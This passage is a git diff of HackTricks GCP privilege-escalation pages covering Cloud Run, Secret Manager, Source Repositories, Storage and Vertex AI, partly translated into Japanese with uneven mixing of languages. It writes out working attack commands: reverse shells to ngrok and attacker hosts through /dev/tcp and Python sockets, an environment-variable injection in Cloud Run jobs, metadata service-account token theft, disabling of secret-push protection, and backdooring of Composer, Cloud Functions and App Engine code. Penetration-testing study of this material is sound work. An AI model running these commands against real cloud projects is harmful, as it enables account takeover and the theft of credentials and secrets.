-この方法のためのエクスプロイトスクリプトは[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py)にあり、Dockerイメージは[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage)にあります。
+An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
-`gcloud run deploy`を使用する場合、サービスを作成するだけではなく、**`update`権限が必要**であることに注意してください。[**こちらに例があります**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh)。
+Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
### `run.services.update` , `iam.serviceAccounts.actAs`
-前のものと同様ですが、サービスを更新します：
+前述の方法と同様ですが、サービスを更新するケースです:
+
+
+Cloud Run サービスをデプロイして reverse shell を実行
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -36,13 +39,18 @@ gcloud run deploy hacked \
# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
+
+
### `run.services.setIamPolicy`
-Cloud Runに対する以前の権限を付与します。
+cloud Run に対して権限を自分に付与する。
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
-コマンドで指定されたサービスアカウントを盗むためにリバースシェルを持つジョブを起動します。 [**こちらにエクスプロイトがあります**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh)。
+コマンドで指定した service account を奪取するために、reverse shell を仕込んだ job を起動する。詳細は[**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh)を参照してください。
+
+
+reverse shell を仕込んだ Cloud Run job を作成する
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
@@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \
--region=us-central1
```
+
+
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
-前のものと同様に、**ジョブを更新し、SAを更新する**ことが可能であり、**コマンド**を**実行する**ことができます：
+前のものと同様に、**ジョブと SA を更新**し、**コマンド**を設定して**実行**することができます:
+
+
+Cloud Run ジョブを更新して reverse shell で実行
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
@@ -64,17 +77,24 @@ gcloud beta run jobs update hacked \
--region=us-central1 \
--execute-now
```
+
+
### `run.jobs.setIamPolicy`
-Cloud Jobsに対して以前の権限を付与します。
+前述の権限を自分に付与して、Cloud Jobs に対する操作権限を得ます。
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
-ジョブ実行の環境変数を悪用して任意のコードを実行し、リバースシェルを取得してコンテナの内容（ソースコード）をダンプし、メタデータ内のSAにアクセスします：
+ジョブ実行時の env variables を悪用して任意のコードを実行し、reverse shell を取得してコンテナ（source code）の内容をダンプし、metadata 内の SA にアクセスします:
+
+
+Cloud Run ジョブを実行（environment variable exploitation）
```bash
gcloud beta run jobs execute job-name --region --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
-## 参考文献
+
+
+## 参考資料
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
index 1fa5391af..bc460d1a3 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
@@ -4,7 +4,7 @@
## secretmanager
-secretmanagerに関する詳細情報:
+secretmanager の詳細については:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,12 +12,16 @@ secretmanagerに関する詳細情報:
### `secretmanager.versions.access`
-これにより、シークレットマネージャーからシークレットを読み取るアクセスが得られ、シークレット内に保存されている情報に応じて特権を昇格させるのに役立つ可能性があります:
+これは secret manager からシークレットを読み取る権限を与えます。格納されている情報によっては、これが権限昇格に役立つ可能性があります。
+
+クリアテキストのシークレットバージョンを取得
```bash
# Get clear-text of version 1 of secret: ""
gcloud secrets versions access 1 --secret=""
```
-この技術はポストエクスプロイテーション技術でもあるため、以下に見つけることができます：
+
+
+これは post exploitation technique でもあるため、以下で見つけられます:
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -25,10 +29,14 @@ gcloud secrets versions access 1 --secret=""
### `secretmanager.secrets.setIamPolicy`
-これにより、シークレットマネージャーからシークレットを読み取るためのアクセスが得られます。例えば、次のように使用します：
+これにより secret manager からシークレットを読み取るアクセス権を付与できます。例えば、次のように使用します:
+
+シークレットにIAMポリシーバインディングを追加
```bash
gcloud secrets add-iam-policy-binding \
--member="serviceAccount:@$PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
index 66ee33f44..d4ce476a9 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
@@ -4,11 +4,11 @@
## serviceusage
-次の権限は、APIキーを作成および盗むのに役立ちます。ドキュメントからの注意点: _APIキーは、**プリンシパルなしでアプリケーションを識別する**シンプルな暗号化された文字列です。これらは、**公共データに匿名でアクセスする**ために便利であり、**クォータ**および**請求**のためにAPIリクエストをプロジェクトに**関連付ける**ために使用されます。_
+The following permissions are useful to create and steal API keys, not this from the docs: _API key は単純な暗号化文字列で、**任意のプリンシパルを伴わずにアプリケーションを識別します**。これらは**匿名で公開データにアクセスする**のに便利で、クォータや**課金**のために API リクエストをプロジェクトに**紐付ける**ために使用されます。_
-したがって、APIキーを使用すると、その会社にAPIの使用料を支払わせることができますが、権限を昇格させることはできません。
+したがって、API key を使えばその会社に API の利用料金を負担させることはできますが、権限昇格はできません。
-他の権限やAPIキーの生成方法については、次を確認してください:
+To learn other permissions and ways to generate API keys check:
{{#ref}}
gcp-apikeys-privesc.md
@@ -16,35 +16,43 @@ gcp-apikeys-privesc.md
### `serviceusage.apiKeys.create`
-**APIキーを作成するために使用できる** undocumented APIが見つかりました:
+An undocumented API was found that can be used to **API key を作成する:**
+
+未文書の API を使って API key を作成する
```bash
curl -XPOST "https://apikeys.clients6.google.com/v1/projects//apiKeys?access_token=$(gcloud auth print-access-token)"
```
+
+
### `serviceusage.apiKeys.list`
-既存のAPIキーをリストするための別の文書化されていないAPIが見つかりました（APIキーはレスポンスに表示されます）：
+既に作成された API キーを一覧表示するための別の未公開 API が見つかりました（API キーはレスポンスに含まれます）:
+
+未公開 API を使用して API キーを一覧表示
```bash
curl "https://apikeys.clients6.google.com/v1/projects//apiKeys?access_token=$(gcloud auth print-access-token)"
```
+
+
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
-これらの権限を持つ攻撃者は、プロジェクト内で新しいサービスを有効にし、使用することができます。これにより、**攻撃者はadminやcloudidentityのようなサービスを有効にしてWorkspace情報にアクセスしようとしたり、興味深いデータにアクセスするための他のサービスを使用したりすることができます。**
+これらの権限があれば attacker はプロジェクト内で新しいサービスを有効化して使用できます。これにより attacker が admin や cloudidentity のようなサービスを有効にして Workspace 情報にアクセスを試みたり、他のサービスを使って興味深いデータにアクセスしたりする可能性があります。
-## **References**
+## **参考資料**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
-Support HackTricks and get benefits!
+HackTricks を支援して特典を得よう！
-あなたは**サイバーセキュリティ会社**で働いていますか？あなたの**会社をHackTricksで宣伝したいですか**？それとも**最新のPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか**？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
+あなたは **cybersecurity company** に勤務していますか？ 会社を HackTricks で宣伝したいですか？ または **latest version of the PEASS or download HackTricks in PDF** にアクセスしたいですか？ [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) を確認してください！
-[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
+Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-[**official PEASS & HackTricks swag**](https://peass.creator-spring.com)を手に入れてください。
+Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+**参加して** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) または [**telegram group**](https://t.me/peass) に参加するか、**Twitter** をフォローしてください [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
index e8ecd983d..0b367a66e 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
-## ソースリポジトリ
+## Source Repositories
-ソースリポジトリに関する詳細情報は、以下を確認してください:
+For more information about Source Repositories check:
{{#ref}}
../gcp-services/gcp-source-repositories-enum.md
@@ -12,68 +12,80 @@
### `source.repos.get`
-この権限があれば、リポジトリをローカルにダウンロードすることが可能です:
+この権限があれば、リポジトリをローカルにダウンロードできます：
+
+Clone source repository
```bash
gcloud source repos clone --project=
```
+
+
### `source.repos.update`
-この権限を持つプリンシパルは、**`gcloud source repos clone `でクローンしたリポジトリ内にコードを書くことができます**。ただし、この権限はカスタムロールに付与できないため、次のような事前定義されたロールを介して付与する必要があります：
+この権限を持つプリンシパルは、`gcloud source repos clone ` でクローンした repository 内にコードを書き込むことができます。 ただし、この権限はカスタムロールに付与できないため、次のような既定のロールを通じて付与される必要があります：
- Owner
- Editor
- Source Repository Administrator (`roles/source.admin`)
- Source Repository Writer (`roles/source.writer`)
-書き込むには、通常の**`git push`**を実行します。
+実際に書き込むには、通常どおり **`git push`** を実行します。
### `source.repos.setIamPolicy`
-この権限を持つ攻撃者は、前述の権限を自分に付与することができます。
+この権限があれば、攻撃者は自身に前述の権限を付与することができます。
-### Secret access
+### シークレットへのアクセス
-攻撃者が**トークンが保存されているシークレットにアクセスできる場合**、彼はそれらを盗むことができます。シークレットにアクセスする方法の詳細については、次を確認してください：
+攻撃者がトークンが保存されている **シークレットにアクセスできる** 場合、それらを盗むことができます。シークレットへのアクセス方法の詳細は次を参照してください：
{{#ref}}
gcp-secretmanager-privesc.md
{{#endref}}
-### Add SSH keys
+### SSH keys を追加
-ウェブコンソールで**Source RepositoryプロジェクトにSSHキーを追加することが可能です**。これは**`/v1/sshKeys:add`**にポストリクエストを行い、[https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)で設定できます。
+ウェブコンソールから **Source Repository プロジェクトに ssh keys を追加する** ことが可能です。これは **`/v1/sshKeys:add`** への POST リクエストを行い、[https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) で設定できます。
-SSHキーが設定されると、次のようにリポジトリにアクセスできます：
+ssh キーを設定すると、次の方法で repo にアクセスできます：
+
+SSH を使って repository をクローン
```bash
git clone ssh://username@domain.com@source.developers.google.com:2022/p//r/
```
-そして、通常通り**`git`**コマンドを使用します。
+
-### 手動認証情報
+その後は通常どおり**`git`**コマンドを使用します。
-Source Repositoriesにアクセスするための手動認証情報を作成することが可能です：
+### 手動クレデンシャル
+
+Source Repositories にアクセスするための手動クレデンシャルを作成できます:
-最初のリンクをクリックすると、[https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)に移動します。
+最初のリンクをクリックすると、[https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) に移動します。
-これにより、**Google Cloud Development**へのアクセスを許可するための**Oauth認証プロンプト**が表示されます。したがって、**ユーザーの認証情報**または**ブラウザでのオープンセッション**が必要です。
+これにより**Oauth authorization prompt**が表示され、**Google Cloud Development**へのアクセス許可が求められます。したがって、これを行うには**credentials of the user**または**open session in the browser**のいずれかが必要です。
-これにより、**`$HOME/.gitcookies`**にgitクッキーを設定するための**bashスクリプトを実行する**ページに移動します。
+これにより、実行するための**bash script to execute**が記載されたページに移動し、git cookie が**`$HOME/.gitcookies`** に設定されます。
-スクリプトを実行すると、git clone、push...を使用できるようになり、動作します。
+スクリプトを実行すると、その後 git clone、push... が使用できるようになります。
### `source.repos.updateProjectConfig`
-この権限を使用すると、Private Keysを含むコードをアップロードしないようにSource Repositoriesのデフォルト保護を無効にすることが可能です：
+この権限があれば、Source Repositories のデフォルト保護（Private Keys を含むコードのアップロードを制限する機能）を無効化することが可能です:
+
+pushblock を無効化し、pub/sub の構成を変更する
```bash
gcloud source project-configs update --disable-pushblock
```
-別の pub/sub トピックを設定するか、完全に無効にすることもできます:
+別の pub/sub topic を設定することも、完全に無効化することもできます:
```bash
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
index 9d771f1cf..86a751be7 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
@@ -4,7 +4,7 @@
## Storage
-基本情報:
+Basic Information:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,18 +12,18 @@
### `storage.objects.get`
-この権限は、**Cloud Storage内に保存されたファイルをダウンロードする**ことを許可します。これは、場合によっては**機密情報がそこに保存されているため、権限を昇格させる**可能性があります。さらに、いくつかのGCPサービスは、バケットに情報を保存します:
+この権限を持つと、**Cloud Storageに保存されているファイルをダウンロード**できます。場合によってはそこに**sensitive informationが保存されている**ことがあり、結果としてprivilege escalationが可能になることがあります。さらに、いくつかのGCPサービスは情報をバケットに保存します:
-- **GCP Composer**: Composer環境を作成すると、**すべてのDAGのコード**が**バケット**内に保存されます。これらのタスクには、そのコード内に興味深い情報が含まれている可能性があります。
-- **GCR (Container Registry)**: コンテナの**イメージ**は**バケット**内に保存されており、バケットを読み取ることができれば、イメージをダウンロードして**漏洩やソースコードを検索する**ことができます。
+- **GCP Composer**: Composer Environmentを作成すると、**code of all the DAGs**が**bucket**に保存されます。これらのタスクのコード内に興味深い情報が含まれている可能性があります。
+- **GCR (Container Registry)**: コンテナの**image**は**buckets**内に保存されるため、バケットを読み取れるとイメージをダウンロードして**search for leaks and/or source code**が可能になります。
### `storage.objects.setIamPolicy`
-このセクションの以前のシナリオを**悪用するための権限を与える**ことができます。
+この権限があれば、このセクションに記載した以前のシナリオを**abuse any of the previous scenarios of this section**できます。
### **`storage.buckets.setIamPolicy`**
-この権限で権限を変更する方法の例については、このページを確認してください:
+この権限でどのように権限を変更するかの例については、次のページを参照してください:
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
@@ -31,7 +31,9 @@
### `storage.hmacKeys.create`
-Cloud Storageの「相互運用性」機能は、AWS S3などの**クロスクラウドインタラクション**のために設計されており、**サービスアカウントとユーザーのためのHMACキーの作成**を含みます。攻撃者は、**権限のあるサービスアカウントのためにHMACキーを生成することによって、Cloud Storage内で権限を昇格させる**ことができます。ユーザーに関連付けられたHMACキーはウェブコンソールを介してのみ取得可能ですが、アクセスキーとシークレットキーは**永続的にアクセス可能**であり、バックアップアクセスストレージの可能性を提供します。一方、サービスアカウントにリンクされたHMACキーはAPI経由でアクセス可能ですが、作成後はそのアクセスキーとシークレットキーは取得できず、継続的なアクセスのための複雑さを加えます。
+Cloud Storageの「interoperability」機能は、AWS S3のような**cross-cloud interactions**向けに設計されており、**Service Accounts and usersのためのHMAC keysのcreation**を伴います。攻撃者はこれを悪用して、権限の高いService AccountのためにHMAC keyを**生成する**ことで、Cloud Storage内で**escalating privileges within Cloud Storage**を行うことができます。ユーザーに紐づくHMAC keysはウェブコンソール経由でのみ取得可能ですが、accessおよびsecret keysは**perpetually accessible**な状態で残るため、バックアップとしてアクセス情報を保存できる可能性があります。一方で、Service Accountに紐づくHMAC keysはAPI経由で操作できますが、作成後はaccessおよびsecret keysを取得できないため、継続的なアクセス確保はより複雑になります。
+
+Create and use HMAC key for privilege escalation
```bash
# Create key
gsutil hmac create # You might need to execute this inside a VM instance
@@ -61,54 +63,56 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
-別のエクスプロイトスクリプトはこのメソッドのために[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py)で見つけることができます。
+
-## `storage.objects.create`, `storage.objects.delete` = ストレージ書き込み権限
+Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
-バケット内に**新しいオブジェクトを作成する**には`storage.objects.create`が必要で、[ドキュメント](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions)によると、既存のオブジェクトを**変更する**には`storage.objects.delete`も必要です。
+### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
-クラウドに書き込むことができるバケットの非常に**一般的な悪用**は、**バケットがウェブサーバーファイルを保存している場合**であり、ウェブアプリケーションによって使用される**新しいコードを保存できる**可能性があります。
+バケット内に新しいオブジェクトを**作成する**には `storage.objects.create` が必要で、また既存オブジェクトを**修正する**には [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions) によれば `storage.objects.delete` も必要です。
+
+クラウド上で書き込み可能なバケットに対する非常に**一般的な悪用**方法は、そのバケットが**Webサーバのファイルを保存している**場合です。攻撃者はそこに**新しいコードを置き、Webアプリケーションに利用させる**ことが可能になるかもしれません。
### Composer
-**Composer**はGCP内で管理されている**Apache Airflow**です。いくつかの興味深い機能があります：
+**Composer** は GCP 上で管理される **Apache Airflow** です。以下のような興味深い特徴があります：
-- **GKEクラスター**内で実行されるため、**クラスターが使用するSAはComposer内で実行されるコードからアクセス可能**です。
-- Composer環境のすべてのコンポーネント（**DAGのコード**、プラグイン、データ）はGCPバケット内に保存されます。攻撃者がそれに対して読み書き権限を持っている場合、バケットを監視し、**DAGが作成または更新されるたびに、バックドア付きのバージョンを提出する**ことができるため、Composer環境はストレージからバックドア付きのバージョンを取得します。
+- **GKE cluster** 内で動作するため、クラスタが使用する **SA** は Composer 内で実行されるコードから**アクセス可能**です。
+- composer 環境の全コンポーネント（**DAGs のコード**, プラグイン, データ）は GCP バケットに保存されます。攻撃者がそのバケットに対して読み書き権限を持っている場合、バケットを監視して **DAG が作成または更新されるたびに backdoored バージョンを提出する**ことで、composer 環境が storage から backdoored バージョンを取得するようにできます。
-**この攻撃のPoCはリポジトリで見つけることができます：** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
+**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
-- Cloud Functionsのコードはストレージに保存され、新しいバージョンが作成されると、コードがバケットにプッシュされ、その後新しいコンテナがこのコードからビルドされます。したがって、**新しいバージョンがビルドされる前にコードを上書きすることで、クラウド関数が任意のコードを実行することが可能になります**。
+- Cloud Functions のコードは Storage に保存され、新しいバージョンが作成されるとコードがバケットにプッシュされ、そのコードから新しいコンテナがビルドされます。したがって、**新しいバージョンがビルドされる前にコードを上書きすることで、cloud function に任意のコードを実行させることが可能**です。
-**この攻撃のPoCはリポジトリで見つけることができます：** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
+**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
-AppEngineのバージョンは、`staging..appspot.com`という形式のバケット内にデータを生成します。このバケット内には、AppEngineアプリのバージョンごとにフォルダを含む`ae`というフォルダがあり、これらのフォルダ内には`manifest.json`ファイルが見つかります。このファイルには、特定のバージョンを作成するために使用されるすべてのファイルを含むjsonが含まれています。さらに、**ファイルの実際の名前、GCPバケット内のURL（バケット内のファイルはsha1ハッシュのために名前が変更されています）、および各ファイルのsha1ハッシュを見つけることができます。**
+AppEngine のバージョンは `staging..appspot.com` という形式のバケット内にいくつかのデータを生成します。このバケットの中には `ae` というフォルダがあり、AppEngine アプリの各バージョンごとのフォルダが格納されています。これらのフォルダの中には `manifest.json` ファイルが見つかります。このファイルは特定のバージョンを作成するために使われるすべてのファイルを含む JSON です。さらに、**ファイルの実際の名前、GCP バケット内での URL（バケット内のファイルは sha1 ハッシュ名に変更されている）、および各ファイルの sha1 ハッシュ** を確認できます。
-_このバケットを事前に取得することはできません。なぜなら、GCPユーザーはappspot.comのドメイン名を使用してバケットを生成する権限がないからです。_
+_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
-しかし、このバケットに対して読み書きアクセスがあれば、バケットを監視し、変更が行われるたびに（新しいバージョン）、新しいバージョンをできるだけ早く変更することで、App Engineバージョンに付随するSAの権限を昇格させることが可能です。このようにして、このコードから作成されるコンテナはバックドア付きのコードを実行します。
+しかし、このバケットに対して読み書きアクセスを持っていれば、バケットを監視し、変更（新しいバージョン）が行われた際に可能な限り速く新しいバージョンを改変することで、当該 App Engine バージョンに紐づく SA への権限昇格が可能になります。こうしてそのコードから作成されたコンテナは backdoored コードを実行します。
-前述の攻撃はさまざまな方法で実行できますが、すべては`staging..appspot.com`バケットを監視することから始まります：
+前述の攻撃は多様な方法で実行可能で、いずれも `staging..appspot.com` バケットの監視から始まります：
-- AppEngineバージョンの完全な新しいコードを別の利用可能なバケットにアップロードし、**新しいバケット名とそれらのsha1ハッシュを持つ`manifest.json`ファイルを準備します**。その後、バケット内で新しいバージョンが作成されると、`manifest.json`ファイルを変更し、悪意のあるものをアップロードするだけです。
-- **悪意のある依存関係のコードを使用する`requirements.txt`の修正バージョンをアップロードし、`manifest.json`ファイルを新しいファイル名、URL、およびそのハッシュで更新します。**
-- **悪意のあるコードを実行する`main.py`または`app.yaml`ファイルを修正してアップロードし、`manifest.json`ファイルを新しいファイル名、URL、およびそのハッシュで更新します。**
+- AppEngine バージョンの完全な新しいコードを別の利用可能なバケットにアップロードし、**新しいバケット名とそのファイルの sha1 ハッシュを含む `manifest.json` ファイルを準備**します。新しいバージョンがオリジナルのバケットに作成されたとき、`manifest.json` を差し替えて悪意あるものをアップロードすればよい。
+- 変更した `requirements.txt` をアップロードして、**悪意ある依存ライブラリを使うようにし、`manifest.json` を新しいファイル名、URL、ハッシュで更新**する。
+- **`main.py` または `app.yaml` を改変して悪意あるコードを実行させ、`manifest.json` を新しいファイル名、URL、ハッシュで更新**する。
-**この攻撃のPoCはリポジトリで見つけることができます：** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
+**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
-- **Google Container Registry**はバケット内にイメージを保存します。これらのバケットに**書き込むことができれば**、**それらのバケットが実行されている場所に横移動することができるかもしれません。**
-- GCRによって使用されるバケットは、`gs://.artifacts..appspot.com`のようなURLを持ちます（トップレベルのサブドメインは[こちら](https://cloud.google.com/container-registry/docs/pushing-and-pulling)で指定されています）。
+- **Google Container Registry** はイメージをバケット内に保存します。これらのバケットに**書き込みができれば**、それらのバケットが実行されている場所へ**ラテラルムーブ（横展開）**できる可能性があります。
+- GCR が使用するバケットは `gs://.artifacts..appspot.com` のような URL になります（トップレベルのサブドメインは [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling) に記載されています）。
> [!TIP]
-> このサービスは廃止されているため、この攻撃はもはや有効ではありません。さらに、このサービスの代わりとなるArtifact Registryは、バケットにイメージを保存しません。
+> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
-## **参考文献**
+## **References**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md
new file mode 100644
index 000000000..6fc2dbe1b
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md
@@ -0,0 +1,718 @@
+# GCP - Vertex AI Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Vertex AI
+
+Vertex AI の詳細については次を参照してください:
+
+{{#ref}}
+../gcp-services/gcp-vertex-ai-enum.md
+{{#endref}}
+
+### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
+
+`aiplatform.customJobs.create` 権限と対象のサービスアカウントに対する `iam.serviceAccounts.actAs` を持っていると、攻撃者は **昇格した権限で任意のコードを実行できます**。
+
+これは攻撃者が制御するコード（custom container または Python package）を実行するカスタムトレーニングジョブを作成することで成立します。`--service-account` フラグで特権を持つサービスアカウントを指定すると、ジョブはそのサービスアカウントの権限を継承します。ジョブは Google 管理のインフラ上で実行され、GCP metadata service にアクセスできるため、サービスアカウントの OAuth access token を抽出できます。
+
+**影響**: 対象サービスアカウントの権限への完全な権限昇格。
+
+
+
+reverse shell を使ったカスタムジョブの作成
+```bash
+# Method 1: Reverse shell to attacker-controlled server (most direct access)
+gcloud ai custom-jobs create \
+--region= \
+--display-name=revshell-job \
+--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
+--command=sh \
+--args=-c,"curl http://attacker.com" \
+--service-account=@.iam.gserviceaccount.com
+
+# On your attacker machine, start a listener first:
+# nc -lvnp 4444
+# Once connected, you can extract the token with:
+# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+
+# Method 2: Python reverse shell (if bash reverse shell is blocked)
+gcloud ai custom-jobs create \
+--region= \
+--display-name=revshell-job \
+--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
+--command=sh \
+--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
+--service-account=@.iam.gserviceaccount.com
+```
+
+
+
+
+別案: ログからトークンを抽出
+```bash
+# Method 3: View in logs (less reliable, logs may be delayed)
+gcloud ai custom-jobs create \
+--region= \
